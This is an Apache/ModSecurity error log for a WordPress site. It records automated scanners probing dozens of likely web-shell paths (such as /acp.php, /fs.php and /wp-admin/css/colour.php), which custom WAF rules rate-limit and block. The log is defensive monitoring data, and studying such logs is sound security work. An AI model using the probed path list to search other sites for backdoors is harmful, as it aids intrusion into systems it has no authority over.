[Mon Apr 06 18:50:20.760077 2026] [:error] [pid 1827:tid 1843] [client 172.213.138.9:42392] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "adOP7OVeb6S_DnjZ2xH4qgAAAg4"]
[Mon Apr 06 18:50:22.001954 2026] [:error] [pid 10280:tid 10302] [client 172.213.138.9:47656] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "adOP7l8QUJkf8g-BFfPMqQAAAdM"]
[Mon Apr 06 18:50:22.046497 2026] [:error] [pid 10280:tid 10307] [client 51.120.80.210:6082] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "adOP7l8QUJkf8g-BFfPMqgAAAdg"]
[Mon Apr 06 18:50:23.524210 2026] [:error] [pid 9442:tid 9458] [client 51.120.80.210:6140] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "adOP70PsNnAJTnmz6saEAgAAAQ4"]
[Mon Apr 06 18:50:24.545634 2026] [:error] [pid 1827:tid 1842] [client 172.213.138.9:46614] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "adOP8OVeb6S_DnjZ2xH4rgAAAg0"]
[Mon Apr 06 18:50:25.248754 2026] [:error] [pid 1827:tid 1852] [client 51.120.80.210:48336] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admir.php"] [unique_id "adOP8eVeb6S_DnjZ2xH4swAAAhc"]
[Mon Apr 06 18:50:25.855709 2026] [:error] [pid 9413:tid 9419] [client 172.213.138.9:33481] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "adOP8XllvEK3chn01wG3OAAAAYQ"]
[Mon Apr 06 18:50:26.716939 2026] [:error] [pid 9442:tid 9455] [client 51.120.80.210:44297] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admir.php"] [unique_id "adOP8kPsNnAJTnmz6saEDQAAAQs"]
[Mon Apr 06 18:50:26.879773 2026] [:error] [pid 9442:tid 9466] [client 172.213.138.9:46637] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "adOP8kPsNnAJTnmz6saEDgAAARY"]
[Mon Apr 06 18:50:27.672677 2026] [:error] [pid 35686:tid 35713] [client 172.213.138.9:46632] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "adOP88MKdea6oORd2fzD7gAAABE"]
[Mon Apr 06 18:50:27.675692 2026] [:error] [pid 35786:tid 35801] [client 51.120.80.210:51633] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admir.php"] [unique_id "adOP82gkfCKTaLhwaKQR1wAAAMg"]
[Mon Apr 06 18:50:28.626365 2026] [:error] [pid 35688:tid 35765] [client 51.120.80.210:59951] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admir.php"] [unique_id "adOP9OZ85qg4jLsRpQxxwgAAAI8"]
[Mon Apr 06 18:50:29.010410 2026] [:error] [pid 9442:tid 9444] [client 172.213.138.9:46643] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "adOP9UPsNnAJTnmz6saEEgAAAQA"]
[Mon Apr 06 18:50:29.687408 2026] [:error] [pid 9442:tid 9468] [client 51.120.80.210:43225] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "adOP9UPsNnAJTnmz6saEFAAAARg"]
[Mon Apr 06 18:50:30.071430 2026] [:error] [pid 35688:tid 35752] [client 172.213.138.9:47382] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "adOP9uZ85qg4jLsRpQxxxwAAAII"]
[Mon Apr 06 18:50:30.625599 2026] [:error] [pid 10280:tid 10293] [client 172.213.138.9:48262] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-is.php"] [unique_id "adOP9l8QUJkf8g-BFfPMuAAAAco"]
[Mon Apr 06 18:50:30.934985 2026] [:error] [pid 10280:tid 10304] [client 51.120.80.210:43211] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "adOP9l8QUJkf8g-BFfPMugAAAdU"]
[Mon Apr 06 18:50:31.709598 2026] [:error] [pid 38562:tid 38587] [client 172.213.138.9:46630] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-is.php"] [unique_id "adOP96eD6Ohe6wzRuy5n4QAAAVY"]
[Mon Apr 06 18:50:32.039442 2026] [:error] [pid 35687:tid 35740] [client 51.120.80.210:41584] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "adOP-J3LtDozV0i8BitbGwAAAFE"]
[Mon Apr 06 18:50:32.818588 2026] [:error] [pid 9442:tid 9457] [client 51.120.80.210:45006] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "adOP-EPsNnAJTnmz6saEFgAAAQ0"]
[Mon Apr 06 18:50:33.666807 2026] [:error] [pid 35688:tid 35753] [client 172.213.138.9:42686] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-is.php"] [unique_id "adOP-eZ85qg4jLsRpQxxzQAAAIM"]
[Mon Apr 06 18:50:34.237689 2026] [:error] [pid 35686:tid 35702] [client 51.120.80.210:44296] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error.php"] [unique_id "adOP-sMKdea6oORd2fzD8gAAAAY"]
[Mon Apr 06 18:50:35.199326 2026] [:error] [pid 38562:tid 38578] [client 172.213.138.9:47669] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-is.php"] [unique_id "adOP-6eD6Ohe6wzRuy5n5QAAAU0"]
[Mon Apr 06 18:50:36.111035 2026] [:error] [pid 38562:tid 38582] [client 51.120.80.210:51938] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error.php"] [unique_id "adOP_KeD6Ohe6wzRuy5n5gAAAVE"]
[Mon Apr 06 18:50:36.192989 2026] [:error] [pid 1827:tid 1835] [client 172.213.138.9:47646] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file15.php"] [unique_id "adOP_OVeb6S_DnjZ2xH4wAAAAgY"]
[Mon Apr 06 18:50:37.138940 2026] [:error] [pid 9442:tid 9466] [client 172.213.138.9:42379] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file15.php"] [unique_id "adOP_UPsNnAJTnmz6saEKgAAARY"]
[Mon Apr 06 18:50:38.354828 2026] [:error] [pid 9442:tid 9465] [client 51.120.80.210:51910] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error.php"] [unique_id "adOP_kPsNnAJTnmz6saEMAAAARU"]
[Mon Apr 06 18:50:40.816751 2026] [:error] [pid 9442:tid 9458] [client 51.120.80.210:45075] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error.php"] [unique_id "adOQAEPsNnAJTnmz6saEOQAAAQ4"]
[Mon Apr 06 18:50:42.955545 2026] [:error] [pid 35688:tid 35761] [client 51.120.80.210:33187] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colour.php"] [unique_id "adOQAuZ85qg4jLsRpQxx2gAAAIs"]
[Mon Apr 06 18:50:45.273548 2026] [:error] [pid 10280:tid 10287] [client 51.120.80.210:34592] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colour.php"] [unique_id "adOQBV8QUJkf8g-BFfPM1wAAAcQ"]
[Mon Apr 06 18:50:47.872754 2026] [:error] [pid 9442:tid 9448] [client 51.120.80.210:59960] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colour.php"] [unique_id "adOQB0PsNnAJTnmz6saEVQAAAQQ"]
[Mon Apr 06 18:50:50.600825 2026] [:error] [pid 9413:tid 9419] [client 51.120.80.210:35534] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colour.php"] [unique_id "adOQCnllvEK3chn01wG3QgAAAYQ"]
[Mon Apr 06 18:50:57.352345 2026] [:error] [pid 10280:tid 10300] [client 51.120.80.210:53027] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "adOQEV8QUJkf8g-BFfPM6wAAAdE"]
[Mon Apr 06 18:50:58.221534 2026] [:error] [pid 9413:tid 9425] [client 51.120.80.210:5174] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "adOQEnllvEK3chn01wG3RQAAAYo"]
[Mon Apr 06 18:50:59.472415 2026] [:error] [pid 9442:tid 9459] [client 74.248.150.154:40652] [client 74.248.150.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "adOQE0PsNnAJTnmz6saEkwAAAQ8"]
[Mon Apr 06 18:51:00.007455 2026] [:error] [pid 9442:tid 9468] [client 51.120.80.210:48594] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "adOQFEPsNnAJTnmz6saElgAAARg"]
[Mon Apr 06 18:51:01.353553 2026] [:error] [pid 9442:tid 9459] [client 51.120.80.210:32993] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cc.php"] [unique_id "adOQFUPsNnAJTnmz6saEpwAAAQ8"]
[Mon Apr 06 18:51:03.263661 2026] [:error] [pid 35688:tid 35773] [client 51.120.80.210:32986] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkxzo.php"] [unique_id "adOQF-Z85qg4jLsRpQxx5AAAAJc"]
[Mon Apr 06 18:51:03.975259 2026] [:error] [pid 10280:tid 10290] [client 51.120.80.210:38154] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkxzo.php"] [unique_id "adOQF18QUJkf8g-BFfPM-QAAAcc"]
[Mon Apr 06 18:51:05.218816 2026] [:error] [pid 35688:tid 35763] [client 51.120.80.210:47540] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkxzo.php"] [unique_id "adOQGeZ85qg4jLsRpQxx7AAAAI0"]
[Mon Apr 06 18:51:06.104308 2026] [:error] [pid 35686:tid 35713] [client 51.120.80.210:38189] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkxzo.php"] [unique_id "adOQGsMKdea6oORd2fzEDQAAABE"]
[Mon Apr 06 18:51:07.193003 2026] [:error] [pid 35688:tid 35757] [client 51.120.80.210:5600] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lo.php"] [unique_id "adOQG-Z85qg4jLsRpQxyAAAAAIc"]
[Mon Apr 06 18:51:08.250124 2026] [:error] [pid 35686:tid 35709] [client 51.120.80.210:48629] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lo.php"] [unique_id "adOQHMMKdea6oORd2fzEDwAAAA0"]
[Mon Apr 06 18:51:09.819689 2026] [:error] [pid 35688:tid 35755] [client 51.120.80.210:37443] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lo.php"] [unique_id "adOQHeZ85qg4jLsRpQxyBQAAAIU"]
[Mon Apr 06 18:51:10.594624 2026] [:error] [pid 35687:tid 35733] [client 51.120.80.210:5617] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lo.php"] [unique_id "adOQHp3LtDozV0i8BitbQgAAAEo"]
[Mon Apr 06 18:51:11.717187 2026] [:error] [pid 9442:tid 9468] [client 51.120.80.210:57190] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "adOQH0PsNnAJTnmz6saEvAAAARg"]
[Mon Apr 06 18:51:13.181996 2026] [:error] [pid 1827:tid 1838] [client 51.120.80.210:51525] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "adOQIeVeb6S_DnjZ2xH42AAAAgk"]
[Mon Apr 06 18:51:15.890116 2026] [:error] [pid 35686:tid 35700] [client 51.120.80.210:57573] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "adOQI8MKdea6oORd2fzEGgAAAAQ"]
[Mon Apr 06 18:51:34.643733 2026] [autoindex:error] [pid 35688:tid 35752] [client 51.120.80.210:50046] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 06 18:51:37.792422 2026] [autoindex:error] [pid 35688:tid 35756] [client 51.120.80.210:50046] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 06 18:51:39.660825 2026] [:error] [pid 35688:tid 35754] [client 51.120.80.210:50046] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "adOQO-Z85qg4jLsRpQxygAAAAIQ"]
[Mon Apr 06 18:51:40.740335 2026] [:error] [pid 38562:tid 38589] [client 51.120.80.210:35027] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "adOQPKeD6Ohe6wzRuy5oNgAAAVg"]
[Mon Apr 06 18:51:41.655108 2026] [:error] [pid 35688:tid 35764] [client 51.120.80.210:47013] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "adOQPeZ85qg4jLsRpQxyiwAAAI4"]
[Mon Apr 06 18:51:42.982944 2026] [:error] [pid 35686:tid 35702] [client 51.120.80.210:5297] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "adOQPsMKdea6oORd2fzEJgAAAAY"]
[Mon Apr 06 18:51:45.530763 2026] [:error] [pid 9442:tid 9467] [client 51.120.80.210:38592] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/png.php"] [unique_id "adOQQUPsNnAJTnmz6saFGgAAARc"]
[Mon Apr 06 18:51:46.035638 2026] [:error] [pid 10280:tid 10304] [client 74.248.150.154:44868] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "adOQQl8QUJkf8g-BFfPNPAAAAdU"]
[Mon Apr 06 18:51:47.086612 2026] [:error] [pid 35688:tid 35762] [client 74.248.150.154:53149] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "adOQQ-Z85qg4jLsRpQxyoQAAAIw"]
